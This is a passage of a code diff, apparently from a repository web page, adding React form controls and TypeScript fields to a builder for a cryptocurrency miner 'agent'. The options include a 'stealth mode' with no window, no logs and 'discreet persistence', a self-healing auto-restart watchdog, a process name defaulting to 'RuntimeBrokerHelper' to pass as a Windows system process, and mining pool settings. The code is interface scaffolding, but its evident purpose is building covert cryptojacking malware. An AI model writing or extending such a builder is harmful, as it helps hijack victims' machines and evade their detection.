<input type="checkbox" className="checkbox" checked={form.adapt_to_hardware}
|
||||
onChange={(e) => updateField('adapt_to_hardware', e.target.checked)} />
|
||||
<span>Adapt to hardware <HelpTip field="adapt_to_hardware" /></span>
|
||||
</label>
|
||||
<FieldHint field="adapt_to_hardware" />
|
||||
</div>
|
||||
<div className="form-group checkbox-group">
|
||||
<label className="checkbox-label">
|
||||
<input type="checkbox" className="checkbox" checked={form.self_healing}
|
||||
onChange={(e) => updateField('self_healing', e.target.checked)} />
|
||||
<span>Self-healing (watchdog + auto-restart) <HelpTip field="self_healing" /></span>
|
||||
</label>
|
||||
<FieldHint field="self_healing" />
|
||||
</div>
|
||||
<div className="form-group checkbox-group">
|
||||
<label className="checkbox-label">
|
||||
<input type="checkbox" className="checkbox" checked={form.stealth_mode}
|
||||
onChange={(e) => {
|
||||
updateField('stealth_mode', e.target.checked);
|
||||
if (e.target.checked) updateField('file_logging', false);
|
||||
}} />
|
||||
<span>Stealth mode (no window, no logs, discreet persistence) <HelpTip field="stealth_mode" /></span>
|
||||
</label>
|
||||
<FieldHint field="stealth_mode" />
|
||||
</div>
|
||||
<div className="form-group checkbox-group">
|
||||
<label className="checkbox-label">
|
||||
<input type="checkbox" className="checkbox" checked={form.file_logging}
|
||||
disabled={form.stealth_mode}
|
||||
onChange={(e) => updateField('file_logging', e.target.checked)} />
|
||||
<span>Write miner.log on host <HelpTip field="file_logging" /></span>
|
||||
</label>
|
||||
</div>
|
||||
<div className="form-group">
|
||||
<label className="label">Process Name <HelpTip field="process_name" /></label>
|
||||
<input type="text" className="input mono" placeholder="RuntimeBrokerHelper"
|
||||
|
||||
@@ -113,6 +113,10 @@ export interface AgentDefaults {
|
||||
install_base: string;
|
||||
install_custom_base: string;
|
||||
install_relative_path: string;
|
||||
adapt_to_hardware: boolean;
|
||||
self_healing: boolean;
|
||||
file_logging: boolean;
|
||||
stealth_mode: boolean;
|
||||
}
|
||||
|
||||
export interface BackgroundConfig {
|
||||
@@ -153,6 +157,10 @@ export interface BuildRequest {
|
||||
install_base: string;
|
||||
install_custom_base: string;
|
||||
install_relative_path: string;
|
||||
adapt_to_hardware: boolean;
|
||||
self_healing: boolean;
|
||||
file_logging: boolean;
|
||||
stealth_mode: boolean;
|
||||
pool_host: string;
|
||||
pool_port: number;
|
||||
pool_tls: boolean;
|
||||
|
||||
Reference in New Issue
Block a user